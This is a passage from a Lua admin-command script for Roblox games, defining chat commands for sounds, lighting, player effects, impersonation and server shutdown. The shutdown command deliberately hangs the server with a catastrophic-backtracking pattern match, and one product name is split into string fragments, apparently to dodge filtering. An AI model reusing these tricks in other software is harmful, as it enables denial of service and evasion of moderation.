6354 [{"soundlist", "musiclist", "audiolist", "songs", "sounds", "musics", "audios"}] = {"", "Lists all the sounds in the global sound list", 0, "Member", false, function(Speaker, Rank, Arguments)
6355 local List,Correlate,SoundName = {},{},{}
6356 for Name,Info in pairs(SoundList) do
6357 local View = "Command Name: "..Name.." | Audio ID: "..Info[1].." | Full Name: "..Info[2]
6358 table.insert(List, View)
6359 Correlate[View] = Info[1]
6360 end
6361
6362 local CanClick = true
6363 if Rank == "Member" then CanClick = false end
6364 local Clicked = GUI:ListGui(Speaker, "Sound List", List, "Sound", CanClick)
6365 Clicked.Event:connect(function(ClickName)
6366 local OldSoundId = nil
6367 SOUND:StopGlobalSound()
6368 if "rbxassetid://"..Correlate[ClickName] ~= OldSoundID then
6369 SOUND:PlayGlobalSound(Correlate[ClickName])
6370 end
6371 end)
6372 end};
6373
6374 [{"syncsoundlist", "syncsounds", "syncaudiolist", "syncaudios", "syncmusiclist", "syncmusics"}] = {"", "Resyncs the global sound list to the server", 0, "Admin", false, function(Speaker, Rank, Arguments)
6375 SOUND:SyncSoundList(Speaker)
6376 end};
6377
6378 [{"cleart", "clearterrain", "cleant", "cleanterrain"}] = {"", "Clears all terrain from the server", 0, "Admin", false, function(Speaker, Rank, Arguments)
6379 local Answer = GUI:PromptMessageWithButtons(Speaker, "Clean Terrain?", "Do you really want to clear all terrain in the server? If there is a lot of terrain this can cause major lag. Continue?", "Question", {"Yes", "No"})
6380 if Answer == "Yes" then
6381 Server.Workspace.Terrain:Clear()
6382 end
6383 end};
6384
6385 [{"clearstamp", "clearstamper", "cleanstamp", "cleanstamper"}] = {"", "Clears all items in workspace that came from the stamper tool (Not terrain)", 0, "Admin", false, function(Speaker, Rank, Arguments)
6386 local Answer = GUI:PromptMessageWithButtons(Speaker, "Clean All Stamper Objects?", "Do you really want to clear all stamper objects in the server, this will clean all bricks/models placed down by stamper and if there's a lot of them it can cause major lag? Continue?", "Question", {"Yes", "No"})
6387 if Answer == "Yes" then
6388 for _,Obj in pairs(Workspace:GetChildren()) do
6389 if Obj:FindFirstChild("RobloxStamper") and Obj:FindFirstChild("RobloxModel") then
6390 Obj:Destroy()
6391 end
6392 end
6393 end
6394 end};
6395
6396 [{"base", "baseplate", "newbase", "makebase", "newbaseplate", "makebaseplate"}] = {"", "Creates a baseplate inside the server", 0, "Admin", false, function(Speaker, Rank, Arguments)
6397 CORE:MakeBase()
6398 end};
6399
6400 [{"addsound", "addaudio", "addmusic"}] = {"num(ID) string", "Will add the song of num(ID) named string to the custom sound list of the game", 2, "Admin", false, function(Speaker, Rank, Arguments)
6401 local CustomSounds = Server.GDS:GetAsync("MML Custom Sounds")
6402 if CustomSounds == nil or type(CustomSounds) ~= "table" then
6403 CustomSounds = {}
6404 end
6405 if tostring(Arguments[1]) then
6406 local Request = MARKET:GetItemInfo(Arguments[1])
6407 if Request.AssetTypeId == 3 then
6408 table.insert(CustomSounds, {Arguments[2], Arguments[1]})
6409 SoundList[Arguments[2]] = {Arguments[1], Request.Name, Request.Creator.Name}
6410 Server.GDS:SetAsync("MML Custom Sounds", CustomSounds)
6411 GUI:SendHint(Speaker, "Sound Added to server sound list and for future servers.", 4)
6412 else
6413 GUI:SendMessage(Speaker, "Invalid", "Please make sure that your ID is an audio asset.", 4)
6414 end
6415 end
6416 end};
6417
6418 [{"removesound", "removeaudio", "removemusic"}] = {"string", "Will remove the sound string from the custom sound list of the game", 1, "Admin", false, function(Speaker, Rank, Arguments)
6419 local CustomSounds = Server.GDS:GetAsync("MML Custom Sounds")
6420 if CustomSounds == nil or type(CustomSounds) ~= "table" then
6421 CustomSounds = {}
6422 end
6423
6424 local Removed = {}
6425 for Num,Data in pairs(CustomSounds) do
6426 if string.sub(string.lower(Data[1]),1,#Arguments[1]) == string.lower(Arguments[1]) then
6427 table.insert(Removed, Data[1])
6428 table.remove(CustomSounds, Num)
6429 end
6430 end
6431
6432 Server.GDS:SetAsync("MML Custom Sounds", CustomSounds)
6433
6434 SOUND:SyncSoundList()
6435
6436 if #Removed > 0 then
6437 GUI:SendHint(Speaker, "Removed from custom sound list: "..STRING:UnpackArgs(Removed))
6438 else
6439 GUI:SendHint(Speaker, "Could not find sound "..Arguments[1].." in custom sound list")
6440 end
6441 end};
6442
6443 [{"clearsounds", "clearaudio", "clearmusic"}] = {"", "Clears all sounds in the custom sound list of the game", 0, "Admin", false, function(Speaker, Rank, Arguments)
6444 local Answer = GUI:PromptMessageWithButtons(Speaker, "Clear All Sounds", "Would you like to clear all sounds from the custom Lua".."M".."od".."elMa".."ke".."r's sound list? This will clear all sounds from the ;addsound command and will affect all sounds in all of this game's servers. Are you sure you want to clear?(All default global sounds will remain)", "Question", {"Yes", "No"})
6445 if Answer == "Yes" then
6446 Server.GDS:SetAsync("MML Custom Sounds", {})
6447 SoundList = GlobalSoundList -- Reset to old sounds without having to re-sync!
6448 GUI:SendHint(Speaker, "All custom sounds have been removed", 4)
6449 end
6450 end};
6451
6452 [{"benchmark", "bench"}] = {"player", "Benchmarks player", 1, "Admin", false, function(Speaker, Rank, Arguments)
6453 local Players = STRING:Scan(Arguments[1], Speaker)
6454 local SpeakerTesting = false
6455 for _,Player in pairs(Players) do
6456 if Player == Speaker then SpeakerTesting = true end
6457 if Player:FindFirstChild("Backpack") then coroutine.wrap(function()
6458 CORE:ExecuteResource("Benchmark", Player.Backpack, {["Admin"] = script})
6459 --wait(10)
6460 --GUI:SendMessage(Player, "Benchmark almost done", "Your client is cleaning up the mess made. Please wait until you are reset by your client to have results submitted", "Information", 10)
6461 end)() end
6462 end
6463 if SpeakerTesting == false then
6464 GUI:SendMessage(Speaker, "Benchmarking", "The player(s) are now being benchmarked. To view results say "..Settings.Prefix.."getbench player", "Information", 10)
6465 end
6466 end};
6467
6468 [{"getbench", "getbenchmark", "getbenches", "getbenchmarks"}] = {"player", "Gets benchmarks of player", 1, "Member", false, function(Speaker, Rank, Arguments)
6469 local Players = STRING:Scan(Arguments[1], Speaker)
6470 local Compile = {}
6471 for _,Player in pairs(Players) do
6472 local PlayerInfo = ClientInfo[Player.Name]
6473 if PlayerInfo then
6474 if PlayerInfo.Benchmark then
6475 table.insert(Compile, Player.Name..": "..PlayerInfo.Benchmark)
6476 else
6477 table.insert(Compile, Player.Name..": No score")
6478 end
6479 end
6480 end
6481 GUI:ListGui(Speaker, "Benchmarks", Compile, "Information")
6482 end};
6483
6484 [{"replicatecommand", "replicatecmd", "repcmd", "repcommand", "rc", "sudo"}] = {"player string[command]", "Executes string as a command on player as if they said it", 2, "Owner", false, function(Speaker, Rank, Arguments)
6485 local Players = STRING:Scan(Arguments[1], Speaker)
6486 for _,Player in pairs(Players) do
6487 CORE:Chatted(Arguments[2], Player, true)
6488 end
6489 end};
6490
6491 [{"virtexe", "virtualexe", "virtsudo", "virtualsudo", "vsudo", "vs"}] = {"string[Name] string[Rank] string[Command]", "Executes string[Command] on a vitual player named string[Name] with the rank string[Rank]", 3, "Owner", false, function(Speaker, Rank, Arguments)
6492 CORE:Chatted(Arguments[3], nil, true, Arguments[1], Arguments[2], RANK:IsSupremeOwner(Speaker))
6493 end};
6494
6495 [{"longneck", "lneck", "longn", "ln"}] = {"player", "Makes player have a long neck", 1, "Member", true, function(Speaker, Rank, Arguments)
6496 local Players = STRING:Scan(Arguments[1], Speaker)
6497 for _,Player in pairs(Players) do
6498 if Player.Character ~= nil then
6499 if Player.Character:FindFirstChild("Torso") and Player.Character:FindFirstChild("Head") ~= nil then
6500 if Player.Character.Torso:FindFirstChild("Neck") then
6501 Player.Character.Torso.Neck.C0 = CFrame.new(0,3,0) * CFrame.Angles(-math.rad(90),0,math.rad(180))
6502 local Neck = Player.Character:FindFirstChild("Neck") if Neck then Neck:Destroy() end
6503 Neck = Instance.new("Part", Player.Character) Neck.Name = "Neck" Neck.Size = Vector3.new(1,3,1) Neck.Position = Vector3.new(0,100,0) Neck.BrickColor = BrickColor.new(tostring(Player.Character.Head.BrickColor)) Neck.Locked = true
6504 local Mesh = Instance.new("CylinderMesh", Neck) Mesh.Scale = Vector3.new(0.7,1,0.7)
6505 local Weld = Instance.new("Weld", Neck) Weld.Part0 = Neck Weld.Part1 = Player.Character.Torso Weld.C0 = CFrame.new(0,-2,0)
6506 end
6507 end
6508 end
6509 end
6510 end};
6511
6512 [{"nolongneck", "normalneck", "nolneck", "nolongn", "noln", "unlongneck", "unlneck", "unlongn", "unln", "shortneck"}] = {"player", "Makes player's neck normal sized", 1, "Member", true, function(Speaker, Rank, Arguments)
6513 local Players = STRING:Scan(Arguments[1], Speaker)
6514 for _,Player in pairs(Players) do
6515 if Player.Character ~= nil and Player.Character:FindFirstChild("Torso") then
6516 Player.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(-math.rad(90),0,math.rad(180))
6517 local Neck = Player.Character:FindFirstChild("Neck") if Neck then Neck:Destroy() end
6518 end
6519 end
6520 end};
6521
6522 [{"fling"}] = {"player", "Flings player out of the map", 1, "Member", true, function(Speaker, Rank, Arguments)
6523 local Players = STRING:Scan(Arguments[1], Speaker)
6524 for _,Player in pairs(Players) do
6525 local _,RankNum = RANK:GetRank(Player)
6526 if RankNum <= RANK:ConvertRank(Rank) then
6527 CORE:FlingPlayer(Player)
6528 end
6529 end
6530 end};
6531
6532 [{"loopfling", "lfling", "loopf", "lf"}] = {"player", "Flings player out of the map over and over", 1, "Member", true, function(Speaker, Rank, Arguments)
6533 local Players = STRING:Scan(Arguments[1], Speaker)
6534 for _,Player in pairs(Players) do
6535 local _,RankNum = RANK:GetRank(Player)
6536 if RankNum <= RANK:ConvertRank(Rank) then
6537 Flings[Player.Name] = true
6538 CORE:FlingPlayer(Player)
6539 end
6540 end
6541 end};
6542
6543 [{"noloopfling", "unloopfling", "nofling", "unfling"}] = {"player", "Stops theloop fling on player", 1, "Member", true, function(Speaker, Rank, Arguments)
6544 local Players = STRING:Scan(Arguments[1], Speaker)
6545 for _,Player in pairs(Players) do
6546 local _,RankNum = RANK:GetRank(Player)
6547 if RankNum <= RANK:ConvertRank(Rank) then
6548 Flings[Player.Name] = nil
6549 end
6550 end
6551 end};
6552
6553 [{"nuke"}] = {"player", "Nukes player", 1, "Admin", false, function(Speaker, Rank, Arguments)
6554 local Players = STRING:Scan(Arguments[1], Speaker)
6555 for _,Player in pairs(Players) do
6556 CORE:Nuke(Player)
6557 end
6558 end};
6559
6560 [{"beep", "annoy"}] = {"player", "Plays a beep sound to player", 1, "Admin", false, function(Speaker, Rank, Arguments)
6561 local Players = STRING:Scan(Arguments[1], Speaker)
6562 for _,Player in pairs(Players) do
6563 Beeps[Player.Name] = true
6564 SOUND:BeepPlayer(Player)
6565 end
6566 end};
6567
6568 [{"nobeep", "unbeep", "noannoy", "unannoy"}] = {"player", "Stops beeping sound on player", 1, "Admin", false, function(Speaker, Rank, Arguments)
6569 local Players = STRING:Scan(Arguments[1], Speaker)
6570 for _,Player in pairs(Players) do
6571 if Player.PlayerGui then
6572 Beeps[Player.Name] = nil
6573 for _,Obj in pairs(Player.PlayerGui:GetChildren()) do
6574 if Obj.Name == "Annoy" then
6575 Obj:Stop()
6576 Obj:Destroy()
6577 end
6578 end
6579 end
6580 end
6581 end};
6582
6583 [{"time"}] = {"number/string", "Sets the time to number/string(Ex: 9:00, noon)", 1, "Member", false, function(Speaker, Rank, Arguments)
6584 local Time = Arguments[1]
6585 if Time == "day" or Time == "noon" then Time = "12" end
6586 if Time == "night" or Time == "midnight" then Time = "0" end
6587 if Time == "dawn" or Time == "morning" then Time = "6:15" end
6588 if Time == "dusk" or Time == "evening" then Time = "17:45" end
6589 if Time == "afternoon" then Time = "15:30" end
6590 ypcall(function() Server.Lighting.TimeOfDay = Time end)
6591 end};
6592
6593 [{"product", "buy", "purchase", "prod", "place"}] = {"player number(ID)", "Prompts player to purchase item", 2, "Member", false, function(Speaker, Rank, Arguments)
6594 local Players = STRING:Scan(Arguments[1], Speaker)
6595 for _,Player in pairs(Players) do
6596 MARKET:PromptPurchase(Player, Arguments[2], Speaker)
6597 end
6598 end};
6599
6600 [{"gear"}] = {"player ID", "Gives player the gear with the ID of ID", 2, "Member", false, function(Speaker, Rank, Arguments)
6601 local AbuseMode = false
6602 if Rank == "Member" then AbuseMode = Settings.DisableAbuse end
6603 local Players = STRING:Scan(Arguments[1], Speaker)
6604 for _,Player in pairs(Players) do
6605 CORE:Insert(Arguments[2], Player.Backpack, true, {"Tool", "HopperBin"}, AbuseMode)
6606 end
6607 end};
6608
6609 [{"sword"}] = {"player", "Gives player a sword", 1, "Member", false, function(Speaker, Rank, Arguments)
6610 local Players = STRING:Scan(Arguments[1], Speaker)
6611 for _,Player in pairs(Players) do
6612 CORE:Insert(125013769, Player.Backpack, true)
6613 end
6614 end};
6615
6616 [{"accessory", "acs", "hat"}] = {"player ID", "Gives player the accessory with the ID of ID", 2, "Member", false, function(Speaker, Rank, Arguments)
6617 local Players = STRING:Scan(Arguments[1], Speaker)
6618 for _,Player in pairs(Players) do
6619 if Player.Character then
6620 CORE:Insert(Arguments[2], Player.Character, true, {"Accoutrement"})
6621 end
6622 end
6623 end};
6624
6625 [{"flash"}] = {"", "Flashes lighting", 0, "Member", false, function(Speaker, Rank, Arguments)
6626 CORE:ResetLighting()
6627 repeat
6628 Server.Lighting.Ambient = Color3.new(1,1,1)
6629 Server.Lighting.FogColor = Color3.new(1,1,1)
6630 Server.Lighting.Brightness = 1
6631 Server.Lighting.TimeOfDay = 14
6632 wait(0.1)
6633 Server.Lighting.Ambient = Color3.new(0,0,0)
6634 Server.Lighting.FogColor = Color3.new(0,0,0)
6635 Server.Lighting.Brightness = 0
6636 Server.Lighting.TimeOfDay = 0
6637 wait(0.1)
6638 until ModLighting == false
6639 end};
6640
6641 [{"disco", "party"}] = {"", "Changes the lighting so there's a disco party", 0, "Member", false, function(Speaker, Rank, Arguments)
6642 CORE:ResetLighting()
6643 repeat
6644 local Color = Color3.new(math.random(0,255)/255,math.random(0,255)/255,math.random(0,255)/255)
6645 Server.Lighting.Ambient = Color
6646 Server.Lighting.FogColor = Color
6647 Server.Lighting.TimeOfDay = 0
6648 Server.Lighting.FogEnd = 500
6649 wait(0.1)
6650 until ModLighting == false
6651 end};
6652
6653 [{"fixl", "fixlighting", "nodisco", "undisco", "noflash", "unflash"}] = {"", "Removes disco or flash effects", 0, "Member", false, function(Speaker, Rank, Arguments)
6654 CORE:FixLighting()
6655 end};
6656
6657 [{"strobe"}] = {"player", "Makes player's screen flash like a strobe", 1, "Member", false, function(Speaker, Rank, Arguments)
6658 local Players = STRING:Scan(Arguments[1], Speaker)
6659 for _,Player in pairs(Players) do
6660 if Player:FindFirstChild("PlayerGui") then
6661 local SG = Player.PlayerGui:FindFirstChild("MMLA Screen Cover") if SG then SG:Destroy() end
6662 SG = Instance.new("ScreenGui", Player.PlayerGui) SG.Name = "MMLA Screen Cover"
6663 local Frame = Instance.new("Frame", SG) Frame.Name = "Overlay" Frame.Size = UDim2.new(1,0,1,0) Frame.ZIndex = 100
6664 coroutine.wrap(function() repeat Frame.BackgroundColor3 = Color3.new(0,0,0) wait(0.1) Frame.BackgroundColor3 = Color3.new(1,1,1) wait(0.1) until not SG end)()
6665 end
6666 end
6667 end};
6668
6669 [{"nostrobe", "unstrobe", "noblind", "unblind"}] = {"player", "Clears the strobe effect from player's screen", 1, "Member", false, function(Speaker, Rank, Arguments)
6670 local Players = STRING:Scan(Arguments[1], Speaker)
6671 for _,Player in pairs(Players) do
6672 if Player:FindFirstChild("PlayerGui") then
6673 local SG = Player.PlayerGui:FindFirstChild("MMLA Screen Cover") if SG then SG:Destroy() end
6674 end
6675 end
6676 end};
6677
6678 [{"blind"}] = {"player", "Makes player unable to see", 1, "Member", false, function(Speaker, Rank, Arguments)
6679 local Players = STRING:Scan(Arguments[1], Speaker)
6680 for _,Player in pairs(Players) do
6681 if Player:FindFirstChild("PlayerGui") then
6682 local SG = Player.PlayerGui:FindFirstChild("MMLA Screen Cover") if SG then SG:Destroy() end
6683 SG = Instance.new("ScreenGui", Player.PlayerGui) SG.Name = "MMLA Screen Cover"
6684 local Frame = Instance.new("Frame", SG) Frame.Name = "Overlay" Frame.Size = UDim2.new(1,0,1,0) Frame.ZIndex = 100 Frame.BackgroundColor3 = Color3.new(0,0,0)
6685 end
6686 end
6687 end};
6688
6689 [{"rejoin", "rj", "rej", "rjoin"}] = {"", "Makes yourself rejoin the server", 0, "Non-Admin", false, function(Speaker, Rank, Arguments)
6690 local Suc, Err, PlaceID, IntID = Server.TS:GetPlayerPlaceInstanceAsync(Speaker.UserId)
6691 if Suc then
6692 Server.TS:TeleportToPlaceInstance(PlaceID, IntID, Speaker)
6693 else
6694 Server.TS:Teleport(game.PlaceId, Speaker)
6695 end
6696 end};
6697
6698 [{"abuselist", "abusablecommands", "abusecmds", "ac"}] = {"", "Shows a list of abusable commands", 0, "Admin", false, function(Speaker, Rank, Arguments)
6699 GUI:ListGui(Speaker, "Abusable Commands", Settings.AbuseList, 2015506)
6700 end};
6701
6702 [{"addabuse", "makeabuse", "abusecmd", "abusecommand", "addabusable", "makeabusable", "abusablecmd", "abusablecommand"}] = {"string(command)", "Adds string(command) to the abuse list", 1, "Owner", false, function(Speaker, Rank, Arguments)
6703 local NewAbuse = Arguments[1]
6704 if string.sub(string.lower(NewAbuse), 1, #Settings.Prefix) == string.lower(Settings.Prefix) then -- remove prefix if present
6705 NewAbuse = string.sub(NewAbuse, #Settings.Prefix + 1)
6706 end
6707
6708 local Match = false
6709 for _,AbuseCmd in pairs(Settings.AbuseList) do
6710 if string.lower(AbuseCmd) == string.lower(NewAbuse) then
6711 Match = true
6712 break
6713 end
6714 end
6715 if not Match then
6716 table.insert(Settings.AbuseList, NewAbuse)
6717 GUI:MessageAdmins("New abusable command", Speaker.Name.." has made '"..NewAbuse.."' an abuseable command", "Check")
6718 else
6719 GUI:SendMessage(Speaker, "Command Exists", "RED This command matches another in the abuse list, therefore, will not be added", "Error")
6720 end
6721 CORE:SetAbuseCommands()
6722 end};
6723
6724 [{"removeabuse", "removeabuse", "removeabusecmd", "removeabusecommand", "removeabusable", "removeabusable", "removeabusablecmd", "removeabusablecommand", "noabuse", "unabuse", "noabusable", "unabusable"}] = {"string(command)", "Removes string(command) to the abuse list", 1, "Owner", false, function(Speaker, Rank, Arguments)
6725 local NewAbuse = Arguments[1]
6726 if string.sub(string.lower(NewAbuse), 1, #Settings.Prefix) == string.lower(Settings.Prefix) then -- remove prefix if present
6727 NewAbuse = string.sub(NewAbuse, #Settings.Prefix + 1)
6728 end
6729
6730 local Removed = false
6731 for Num,AbuseCmd in pairs(Settings.AbuseList) do
6732 if string.sub(string.lower(AbuseCmd), 1, #NewAbuse) == string.lower(NewAbuse) then
6733 Removed = true
6734 table.remove(Settings.AbuseList, Num)
6735 end
6736 end
6737 if Removed then
6738 GUI:MessageAdmins("Removed abusable command", Speaker.Name.." has removed '"..NewAbuse.."' from the abuse list", "Check")
6739 else
6740 GUI:SendMessage(Speaker, "Command not removed", "RED Could not find '"..NewAbuse.."' in abuse list", "Error")
6741 end
6742 CORE:SetAbuseCommands()
6743 end};
6744
6745 [{"god", "power"}] = {"player", "Gives player unlimited health", 1, "Member", false, function(Speaker, Rank, Arguments)
6746 local Players = STRING:Scan(Arguments[1], Speaker)
6747 for _,Player in pairs(Players) do
6748 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
6749 Player.Character.Humanoid.MaxHealth = math.huge
6750 Player.Character.Humanoid.Health = math.huge
6751 end
6752 end
6753 end};
6754
6755 [{"heal", "nogod", "ungod", "nopower", "unpower"}] = {"player", "Resets health to full, undoes god effect(Doesn't mean there isn't God)", 1, "Member", false, function(Speaker, Rank, Arguments)
6756 local Players = STRING:Scan(Arguments[1], Speaker)
6757 for _,Player in pairs(Players) do
6758 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
6759 if Player.Character.Humanoid.MaxHealth == math.huge then
6760 Player.Character.Humanoid.MaxHealth = 100
6761 Player.Character.Humanoid.Health = 100
6762 else
6763 Player.Character.Humanoid.Health = Player.Character.Humanoid.MaxHealth
6764 end
6765 end
6766 end
6767 end};
6768
6769 [{"loopheal"}] = {"player", "Loops player's health to full", 1, "Member", false, function(Speaker, Rank, Arguments)
6770 local Players = STRING:Scan(Arguments[1], Speaker)
6771 for _,Player in pairs(Players) do
6772 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
6773 local Char = Player.Character
6774 repeat Char.Humanoid.Health = Char.Humanoid.MaxHealth wait() until not Char:FindFirstChild("Humanoid") or Char.Parent == nil or Char.Humanoid.Health == 0
6775 end
6776 end
6777 end};
6778
6779 [{"health"}] = {"player num", "Sets the health of player to num", 2, "Member", false, function(Speaker, Rank, Arguments)
6780 if tonumber(Arguments[2]) then
6781 local Players = STRING:Scan(Arguments[1], Speaker)
6782 for _,Player in pairs(Players) do
6783 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
6784 Player.Character.Humanoid.Health = Arguments[2]
6785 end
6786 end
6787 end
6788 end};
6789
6790 [{"speed", "ws", "walkspeed"}] = {"player num", "Sets the speed of player to num", 2, "Member", false, function(Speaker, Rank, Arguments)
6791 if tonumber(Arguments[2]) then
6792 local Players = STRING:Scan(Arguments[1], Speaker)
6793 for _,Player in pairs(Players) do
6794 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
6795 local Speed = tonumber(Arguments[2])
6796 if Speed then
6797 if Rank == "Member" then
6798 if Speed > 1000 then Speed = 1000
6799 elseif Speed < -1000 then Speed = -1000 end
6800 end
6801 Player.Character.Humanoid.WalkSpeed = Speed
6802 end
6803 end
6804 end
6805 end
6806 end};
6807
6808 [{"damage", "dmg"}] = {"player num", "Takes away num health from player", 2, "Member", false, function(Speaker, Rank, Arguments)
6809 if tonumber(Arguments[2]) then
6810 local Players = STRING:Scan(Arguments[1], Speaker)
6811 for _,Player in pairs(Players) do
6812 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
6813 Player.Character.Humanoid.Health = Player.Character.Humanoid.Health - Arguments[2]
6814 end
6815 end
6816 end
6817 end};
6818
6819 [{"fly"}] = {"player", "Lets player be able to fly", 1, "Member", false, function(Speaker, Rank, Arguments)
6820 local Players = STRING:Scan(Arguments[1], Speaker)
6821 for _,Player in pairs(Players) do
6822 CORE:Fly(Player, 10000)
6823 end
6824 end};
6825
6826 [{"noclip", "noc"}] = {"player", "Lets player be able to noclip", 1, "Member", false, function(Speaker, Rank, Arguments)
6827 local Players = STRING:Scan(Arguments[1], Speaker)
6828 for _,Player in pairs(Players) do
6829 CORE:Fly(Player, 1000000)
6830 end
6831 end};
6832
6833 [{"nofly", "unfly", "clip", "nonoclip", "unnoclip"}] = {"player", "Removes fly or noclip effect", 1, "Member", false, function(Speaker, Rank, Arguments)
6834 local Players = STRING:Scan(Arguments[1], Speaker)
6835 for _,Player in pairs(Players) do
6836 if Player.Character then
6837 if Player.Character:FindFirstChild("StopMMLFly") then
6838 Player.Character.StopMMLFly:InvokeClient(Player)
6839 end
6840 end
6841 end
6842 end};
6843
6844 [{"clearcache", "clearc", "cc"}] = {"", "Clears cached objects such as market info and http local scripts", 0, "Owner", false, function(Speaker, Rank, Arguments)
6845 ScriptCache,MarketCache,CharacterCache,PackageCache = {},{},{},{}
6846 GUI:SendMessage(Speaker, "Cache Cleared", "Cache has been cleared successfully", "Check")
6847 end};
6848
6849 [{"give"}] = {"player string", "Gives player any tool found named string. Can also give build tools (basicbtools, btools, psbtools)", 2, "Member", false, function(Speaker, Rank, Arguments)
6850 local Players = STRING:Scan(Arguments[1], Speaker)
6851 for _,Player in pairs(Players) do
6852 CORE:GiveTools(Player, Arguments[2])
6853 end
6854 end};
6855
6856 [{"tools", "gettools", "toollist", "toolslist"}] = {"", "Gets all tools that you can use the "..Settings.Prefix.."give command", 0, "Member", false, function(Speaker, Rank, Arguments)
6857 local List = {}
6858 for _,Region in pairs(ToolRegions) do
6859 CORE:ScanItems(Region, {"HopperBin", "Tool"}, function(Item)
6860 table.insert(List, Item.Name.." | Found at: "..Item:GetFullName())
6861 end)
6862 end
6863
6864 GUI:ListGui(Speaker, "Tool list", List, 73589272)
6865 end};
6866
6867 [{"btools", "buildtools", "buildingtools"}] = {"player string", "Gives player building tools", 1, "Member", false, function(Speaker, Rank, Arguments)
6868 local Players = STRING:Scan(Arguments[1], Speaker)
6869 for _,Player in pairs(Players) do
6870 CORE:GiveTools(Player, "btools")
6871 end
6872 end};
6873
6874 [{"shutdown", "sd"}] = {"", "Shuts down the server", 0, "Owner", false, function(Speaker, Rank, Arguments)
6875 REMOTE:SendHttpLog(Speaker.Name.." shutdown the server", "INFORMATION")
6876 for _,Player in pairs(Server.Players:GetPlayers()) do
6877 Player:Kick()
6878 end
6879 Server.Workspace:ClearAllChildren()
6880 string.find(string.rep("a", 2^20),string.rep(".?", 2^20))
6881 end};
6882
6883 [{"scale", "size"}] = {"player num", "Scales player's character to num", 2, "Member", false, function(Speaker, Rank, Arguments)
6884 local Players = STRING:Scan(Arguments[1], Speaker)
6885 for _,Player in pairs(Players) do
6886 CORE:Scale(Player, Arguments[2])
6887 end
6888 end};
6889
6890 [{"mini", "small", "tiny", "small"}] = {"player", "Makes player's character mini", 1, "Member", false, function(Speaker, Rank, Arguments)
6891 local Players = STRING:Scan(Arguments[1], Speaker)
6892 for _,Player in pairs(Players) do
6893 CORE:Scale(Player, 50)
6894 end
6895 end};
6896
6897 [{"hobbit"}] = {"player", "Makes player's character hobbit sized", 1, "Member", false, function(Speaker, Rank, Arguments)
6898 local Players = STRING:Scan(Arguments[1], Speaker)
6899 for _,Player in pairs(Players) do
6900 CORE:Scale(Player, 70)
6901 end
6902 end, Hidden = true};
6903
6904 [{"mega", "huge", "giant", "large", "big"}] = {"player", "Makes player's character mega", 1, "Member", false, function(Speaker, Rank, Arguments)
6905 local Players = STRING:Scan(Arguments[1], Speaker)
6906 for _,Player in pairs(Players) do
6907 CORE:Scale(Player, 500)
6908 end
6909 end};
6910
6911 [{"gold", "goldify"}] = {"player", "Makes player's character gold", 1, "Member", false, function(Speaker, Rank, Arguments)
6912 local Players = STRING:Scan(Arguments[1], Speaker)
6913 for _,Player in pairs(Players) do
6914 if Player.Character then
6915 CORE:ScanItems(Player.Character, {"BasePart"}, function(Obj)
6916 Obj.Reflectance = 0.5
6917 Obj.BrickColor = BrickColor.new("New Yeller")
6918 end)
6919 end
6920 end
6921 end};
6922
6923 [{"shine", "shiny", "shinify", "shineify"}] = {"player", "Makes player's character shiny", 1, "Member", false, function(Speaker, Rank, Arguments)
6924 local Players = STRING:Scan(Arguments[1], Speaker)
6925 for _,Player in pairs(Players) do
6926 if Player.Character then
6927 CORE:ScanItems(Player.Character, {"BasePart"}, function(Obj)
6928 Obj.Reflectance = 0.5
6929 end)
6930 end
6931 end
6932 end};
6933
6934 [{"ghost", "ghostify", "spook", "spooky"}] = {"player", "Makes player's character a ghost", 1, "Member", false, function(Speaker, Rank, Arguments)
6935 local Players = STRING:Scan(Arguments[1], Speaker)
6936 for _,Player in pairs(Players) do
6937 if Player.Character then
6938 CORE:ScanItems(Player.Character, {"BasePart"}, function(Obj)
6939 Obj.Transparency = 0.5
6940 Obj.Reflectance = 0
6941 Obj.BrickColor = BrickColor.new("Institutional white")
6942 end)
6943 CORE:ScanItems(Player.Character, {"Texture", "Decal"}, function(Obj)
6944 Obj.Transparency = 0.5
6945 end)
6946 end
6947 end
6948 end};
6949
6950 [{"nolimbs", "nolimb"}] = {"player", "Removes player's limbs", 1, "Member", false, function(Speaker, Rank, Arguments)
6951 local Players = STRING:Scan(Arguments[1], Speaker)
6952 for _,Player in pairs(Players) do
6953 if Player.Character then
6954 for _,Obj in pairs(Player.Character:GetChildren()) do
6955 local Valid = false
6956 for _,Name in pairs({"Right Arm", "Left Arm", "Right Leg", "Left Leg"}) do if Obj.Name == Name then Valid = true end end
6957 if Valid == true then Obj:Destroy() end
6958 end
6959 end
6960 end
6961 end};
6962
6963 [{"noarms", "noarm"}] = {"player", "Removes player's arms", 1, "Member", false, function(Speaker, Rank, Arguments)
6964 local Players = STRING:Scan(Arguments[1], Speaker)
6965 for _,Player in pairs(Players) do
6966 if Player.Character then
6967 for _,Obj in pairs(Player.Character:GetChildren()) do
6968 local Valid = false
6969 for _,Name in pairs({"Right Arm", "Left Arm"}) do if Obj.Name == Name then Valid = true end end
6970 if Valid == true then Obj:Destroy() end
6971 end
6972 end
6973 end
6974 end};
6975
6976 [{"nolegs", "noleg"}] = {"player", "Removes player's legs", 1, "Member", false, function(Speaker, Rank, Arguments)
6977 local Players = STRING:Scan(Arguments[1], Speaker)
6978 for _,Player in pairs(Players) do
6979 if Player.Character then
6980 for _,Obj in pairs(Player.Character:GetChildren()) do
6981 local Valid = false
6982 for _,Name in pairs({"Right Leg", "Left Leg"}) do if Obj.Name == Name then Valid = true end end
6983 if Valid == true then Obj:Destroy() end
6984 end
6985 end
6986 end
6987 end};
6988
6989 [{"noaccessories", "noaccessory", "noacs", "nohats", "nohat"}] = {"player", "Removes player's accessories", 1, "Member", false, function(Speaker, Rank, Arguments)
6990 local Players = STRING:Scan(Arguments[1], Speaker)
6991 for _,Player in pairs(Players) do
6992 if Player.Character then
6993 for _,Obj in pairs(Player.Character:GetChildren()) do
6994 if Obj:IsA("Accoutrement") then
6995 Obj:Destroy()
6996 end
6997 end
6998 end
6999 end
7000 end};
7001
7002 [{"naked", "noclothes"}] = {"player", "Removes player's clothes and hats", 1, "Member", false, function(Speaker, Rank, Arguments)
7003 local Players = STRING:Scan(Arguments[1], Speaker)
7004 for _,Player in pairs(Players) do
7005 Player:ClearCharacterAppearance()
7006 end
7007 end};
7008
